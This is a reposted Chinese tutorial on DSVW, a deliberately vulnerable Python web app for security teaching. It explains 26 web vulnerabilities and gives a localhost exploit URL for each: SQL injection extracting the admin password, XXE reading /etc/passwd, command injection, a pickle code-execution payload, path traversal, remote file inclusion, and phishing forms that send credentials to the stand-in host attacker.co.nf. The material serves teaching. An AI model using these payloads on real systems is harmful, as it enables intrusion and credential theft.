您的位置:首页 > 其它

轻量级Web漏洞教学演示系统DSVW

2017-02-17 16:50 323 查看
本文转载自一款轻量级Web漏洞教学演示系统(DSVW)

Damn Small Vulnerable Web(DSVW)是使用Python语言开发的Web应用漏洞演练系统。其系统只由一个python的脚本文件组成,当中涵盖了26种Web应用漏洞环境,并且脚本代码行数控制在了100行以内,当前版本为v0.1m。作者Miroslav Stampar就是sqlmap的作者,它支持大多数流行的Web漏洞环境与攻击EXPLOIT,同时各个漏洞环境还提供了相关说明与介绍的链接地址。
1.依赖环境

python2.6.x或2.7.x,依赖python-lxml。
2.安装使用

直接克隆或者下载github中的dsvw.py脚本文件到本地,运行python dsvw.py命令启动。
3.基础背景
3.1数据库


需要注意的是DSVW中的SQL数据库使用的是SQLITE3,并且创建了users与comments两张表。
users表





comments表



3.2XML配置
<?xml version="1.0" encoding="utf-8"?>
<users>
<user id="0">
<username>admin</username>
<name>admin</name>
<surname>admin</surname>
<password>7en8aiDoh!</password>
</user>
<user id="1">
<username>dricci</username>
<name>dian</name>
<surname>ricci</surname>
<password>12345</password>
</user>
<user id="2">
<username>amason</username>
<name>anthony</name>
<surname>mason</surname>
<password>gandalf</password>
</user>
<user id="3">
<username>svargas</username>
<name>sandra</name>
<surname>vargas</surname>
<password>phest1945</password>
</user>
</users>

4.漏洞类型

Blind SQL Injection(boolean) 

Blind SQL Injection(time) 

UNION SQL Injection

Login Bypass

HTTP Parameter Pollution

Cross Site Scripting(reflected)

Cross Site Scripting(stored)

Cross Site Scripting(DOM)

Cross Site Scripting(JSONP) 

XML External Entity(local)

XML External Entity(remote)

Server Side Request Forgery 

Blind XPath Injection(boolean)

Cross Site Request Forgery

Frame Injection(phishing)

Frame Injection(content spoofing) 

Clickjacking

Unvalidated Redirect

Arbitrary Code Execution 

Full Path Disclosure

Source Code Disclosure

Path Traversal 

File Inclusion(remote)

HTTP Header Injection(phishing) 

Component with Known Vulnerability(pickle) 

Denial of Service(memory) 
4.1注入漏洞

4.1.1Blind SQL Injection(boolean)-布尔型盲注


HTTP请求的响应体中不会明确的返回SQL的错误信息,当把参数送入程序查询时,条件为真的情况返回正常页面,条件为假时程序会重定向到或者返回一个自定义的错误页面。

漏洞地址:    
http://127.0.0.1:65412/?id=2
EXPLOIT:
http://127.0.0.1:65412/?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'
4.1.2Blind SQL Injection(time)-时间型盲注

HTTP请求的响应体中不会明确的返回SQL的错误信息,当把参数送入程序查询时,判断服务器响应所花费的时间。如果延迟大于等于Payload中设定的值时就可判断查询结果为真,否则为假。不同的BDMS使用的方法和技巧略有不同。

漏洞地址:    
http://127.0.0.1:65412/?id=2
EXPLOIT:
http://127.0.0.1:65412/?id=(SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

网上搜了一圈没有找到sqlite这种注入方式的原理,查函数手册猜想大概的原理就是随机产生一个很长的字符串然后使用LIKE函数去匹配指定的字符串(ABCDEFG),这会花较长的时间,以此来达到延时的效果。  

MYSQL: sleep(2)        

MSSQL: WAITFOR DELAY '0:0:2'
4.1.3UNION SQL Injection-联合查询注入

使用UNION运算符用于SQL注入,UNION运算符是关联两个表的查询结果。攻击者故意伪造的恶意的查询并加入到原始查询中,伪造的查询结果将被合并到原始查询的结果返回,攻击者会获得其他表的信息。

漏洞地址:    
http://127.0.0.1:65412/?id=2
EXPLOIT:
http://127.0.0.1:65412/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
4.1.4Login Bypass-登陆绕过

这是基于SQL注入的一种绕过方式。登陆验证的逻辑没有验证和过滤输入字符直接带到sql进行查询,所以产生漏洞。

漏洞地址:    
http://127.0.0.1:65412/login?username=&password=
EXPLOIT:
http://127.0.0.1:65412/login?username=admin&password=' OR '1' LIKE '1
4.1.5XML External Entity(local)-本地XML实体注入

在使用XML通信的服务中(如SOAP服务)Web系统没有验证与用户通信中XML格式,攻击者可以构造恶意的XML文件来访问本地服务器上的资源信息。

漏洞地址:    
http://127.0.0.1:65412/?xml=<root><%2Froot>
EXPLOIT:
http://127.0.0.1:65412/?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file%3A%2F%2F%2Fetc%2Fpasswd">]><root>%26xxe%3B<%2Froot>
4.1.6XML External Entity (remote)-远程XML实体注入

在使用XML通信的服务中(如SOAP服务)Web系统没有验证与用户通信中XML格式,攻击者可以构造恶意的XML文件来将受害服务器的敏感信息上传到攻击者的服务器上。

漏洞地址:    
http://127.0.0.1:65412/?xml=<root><%2Froot>
EXPLOIT:
http://127.0.0.1:65412/?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx">]><root>%26xxe%3B<%2Froot>
4.1.7Blind XPath Injection(boolean)-布尔型XPath注入

与SQL注入类似,当网站使用用户提交的信息来构造XML数据的XPath查询时,会发生XPath注入攻击。 通过将有意的畸形信息发送到网站,攻击者可以了解XML数据的结构,或访问他通常不能访问的数据。 如果XML数据用于认证(例如基于XML的用户文件),他甚至可以提升其在网站上的权限。

漏洞地址:    
http://127.0.0.1:65412/?name=dian
EXPLOIT:
http://127.0.0.1:65412/?name=admin' and substring(password%2Ftext()%2C3%2C1)%3D'n
4.2跨站漏洞

4.2.1Cross Site Scripting(reflected)-反射型跨站脚本攻击


当攻击者在单个HTTP响应中插入浏览器可执行代码(HTML或JAVASCRIPT)时,会发生反射跨站点脚本攻击。注入的恶意代码不会存储在应用程序后端,它是非持久性的,只会影响打开恶意的链接或第三方网页的用户。

漏洞地址:    
http://127.0.0.1:65412/?v=0.2
EXPLOIT:
http://127.0.0.1:65412/?v=0.2<script>alert("arbitrary javascript")<%2Fscript>
4.2.2Cross Site Scripting(stored)-存储型跨站脚本攻击

存储跨站脚本是最危险的跨站脚本类型,其原理是Web系统会将攻击者提交的恶意代码存储到数据库中或是服务器后端里。只要受害者浏览到存在恶意代码页面,就会被执行恶意代码。

漏洞地址:    
http://127.0.0.1:65412/?comment=
EXPLOIT:
http://127.0.0.1:65412/?comment=<script>alert("arbitrary javascript")<%2Fscript>
4.2.3Cross Site Scripting(DOM)-DOM型跨站脚本攻击

基于DOM的跨站脚本是XSS bug的事实上的名字,页面上通常是JavaScript的活动浏览器端获取用户输入,然后做一些不安全的事情,导致注入代码的执行。

漏洞地址:    
http://127.0.0.1:65412/?#lang=en
EXPLOIT:
http://127.0.0.1:65412/?foobar#lang=en<script>alert("arbitrary javascript")<%2Fscript>
4.2.4Cross Site Scripting(JSONP)-JSONP劫持

关于这个漏洞的更多信息可以参考这个网站Using JSONP Safely
4.2.5Cross Site Request Forgery-跨站请求伪造

通常这类攻击需要借助第三方(如通过邮件、私信、聊天发送链接等)的一些帮助,攻击者可以强制Web应用程序的用户执行攻击者选择的操作。当受害者是普通用户时,CSRF攻击可能会影响最终用户数据和操作;如果受害者是管理员帐户,CSRF攻击可能会危及整个Web应用程序系统的安全。

漏洞地址:    
http://127.0.0.1:65412/?comment=
EXPLOIT:
http://127.0.0.1:65412/?v=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">

这里使用了<img>标签来自动发布了一个红色字体的I quit the job评论。
4.3其他漏洞

4.3.1HTTP Parameter Pollution-HTTP参数污染


当使用GET或者POST方法提交参数时,请求体中包含了多个相同名称而不同值的参数。由于不同的语言与Web容器处理的方式不同,结合业务场景会产生不同的影响。通过利用这些影响,攻击者可能能够绕过输入验证,触发应用程序错误或修改内部变量值等风险。

漏洞地址:    
http://127.0.0.1:65412/login?username=&password=
EXPLOIT:
http://127.0.0.1:65412/login?username=admin&password='/*&password=*/OR/*&password=*/'1'/*&password=*/LIKE/*&password=*/'1 4.3.2Server Side Request Forgery-服务器端请求伪造

一种由攻击者构造形成的指令并由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统资源。

漏洞地址:    
http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=http%3A%2F%2F127.0.0.1%3A631
如果127.0.0.1开放了631端口,那么返回得到的信息,否则返回一个500错误。
4.3.3Frame Injection(phishing)-Frame注入(钓鱼)

属于XSS的范畴,将HTML的标签注入到存在漏洞的HTTP响应体中,如iframe标签。

漏洞地址:    
http://127.0.0.1:65412/?v=0.2
EXPLOIT:
http://127.0.0.1:65412/?v=0.2<iframe src="http://attacker.co.nf/i/login.html" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
4.3.4Frame Injection(content spoofing)-Frame注入(内容欺骗)

同上原理。

漏洞地址:    
http://127.0.0.1:65412/?v=0.2
EXPLOIT:
http://127.0.0.1:65412/?v=0.2<iframe src="http://attacker.co.nf/" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>
4.3.5Clickjacking-点击劫持

欺骗Web用户让他们认为正在与交互的东西的交互(在大多数情况下通过点击,这种技术手段运用最多的就是广告)。这种类型的攻击可以单独使用或与其他攻击结合使用,在受害者与看似无害的网页进行交互时,可能会发送未经授权的命令或泄露机密信息。

EXPLOIT:
http://127.0.0.1:65412/?v=0.2<div style="opacity:0;filter:alpha(opacity=20);background-color:#000;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" onclick="document.location='http://attacker.co.nf/'"></div><script>alert("click anywhere on page");</script>
4.3.6Unvalidated Redirect-未验证的重定向

当Web应用程序接受不受信任的输入时,可能会导致Web应用程序将请求重定向到包含在不受信任的输入中的URL,从而可能导致未经验证的重定向和转发。 通过将不受信任的URL输入修改为恶意网站,攻击者可能会成功启动网络钓鱼诈骗并窃取用户凭据。由于修改链接中的服务器名称与原始网站相同,因此网络钓鱼尝试可能具有更可信的外观。 未验证的重定向和转发攻击也可用于恶意制作一个URL,该URL将通过应用程序的访问控制检查,然后将攻击者转发到他们通常无法访问的特权功能。

漏洞地址:    
http://127.0.0.1:65412/?redir=
EXPLOIT:
http://127.0.0.1:65412/?redir=http%3A%2F%2Fattacker.co.nf 4.3.7Arbitrary Code Execution-任意代码执行

开发人员没有严格验证用户输入的数据,在某些特殊业务场景中用户可构造出恶意的代码或系统命令,来获得服务器上的敏感信息或者得到服务器的控制权限。

漏洞地址:    
http://127.0.0.1:65412/?domain=www.google.com
EXPLOIT:
http://127.0.0.1:65412/?domain=www.google.com%3B ifconfig
4.3.8Full Path Disclosure-全路径泄露

全路径泄露漏洞使攻击者能够看到Web应用程序在服务器端的完整路径,攻击者会结合其他漏洞对Web系统进行进一步的攻击。

漏洞地址:    
http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=foobar 4.3.9Source Code Disclosure-源代码泄露

源代码泄露漏洞会造成允许未授权用户获得服务器端应用程序的源代码,会造成企业内部的敏感信息泄露或容易遭受恶意攻击者攻击。

漏洞地址:    
http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=dsvw.py 4.3.10Path Traversal-路径遍历

路径遍历旨在访问存储在Web根文件夹外部的文件和目录。通过使用../或..\等相对文件路径方式来操纵引用文件的变量,该漏洞会允许访问存储在文件系统上的任意文件和目录。

漏洞地址:    
http://127.0.0.1:65412/?path=
EXPLOIT:
http://127.0.0.1:65412/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd 4.3.11File Inclusion(remote)-远程文件包含

通常利用目标应用程序中实现的动态文件包含机制,允许攻击者包括一个远程文件。由于对用户输入的数据没有进行适当的验证,导致出现漏洞。

漏洞地址:    
http://127.0.0.1:65412/?include=
EXPLOIT:
http://127.0.0.1:65412/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3DN5ccE6iH&cmd=ifconfig 4.3.12HTTP Header Injection(phishing)-HTTP响应头拆分(钓鱼)

用户提交的部分参数没有经过验证或过滤直接在响应头中输出,由于HTTP的Header中使用了CRLF(url中的%0d%0a)来分割各个字段中的数据,恶意用户可以构造特殊的数据应该欺骗钓鱼。

漏洞地址:    
http://127.0.0.1:65412/?charset=utf8
EXPLOIT:
http://127.0.0.1:65412/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.co.nf%2Fi%2Flog.php%22%20onSubmit%3D%22alert%28%27visit%20\%27http%3A%2F%2Fattacker.co.nf%2Fi%2Flog.txt\%27%20to%20see%20your%20phished%20credentials%27%29%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E
4.3.13Component with Known Vulnerability(pickle)-使用含有已知漏洞的组件(pickle)

pickle存在一个文件序列化漏洞。

漏洞地址:    
http://127.0.0.1:65412/?object=%28dp0%0AS%27admin%27%0Ap1%0A%28S%27admin%27%0Ap2%0AS%27admin%27%0Ap3%0Atp4%0AsS%27dricci%27%0Ap5%0A%28S%27dian%27%0Ap6%0AS%27ricci%27%0Ap7%0Atp8%0AsS%27amason%27%0Ap9%0A%28S%27anthony%27%0Ap10%0AS%27mason%27%0Ap11%0Atp12%0AsS%27svargas%27%0Ap13%0A%28S%27sandra%27%0Ap14%0AS%27vargas%27%0Ap15%0Atp16%0As.

EXPLOIT:
http://127.0.0.1:65412/?object=cos%0Asystem%0A(S%27ping%20-c%205%20127.0.0.1%27%0AtR.%0A
这里执行了ping -c 5 127.0.0.1命令。
4.3.14Denial of Service(memory)-拒绝服务(内存耗尽)

资源消耗型的DoS攻击,通过大量的恶意请求来访问有缺陷的服务,从而造成服务器的系统资源消耗(如CPU利用率100%、内存耗尽等)增大,来影响正常用户的使用。

漏洞地址:    
http://127.0.0.1:65412/?size=32
EXPLOIT:
http://127.0.0.1:65412/?size=9999999
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: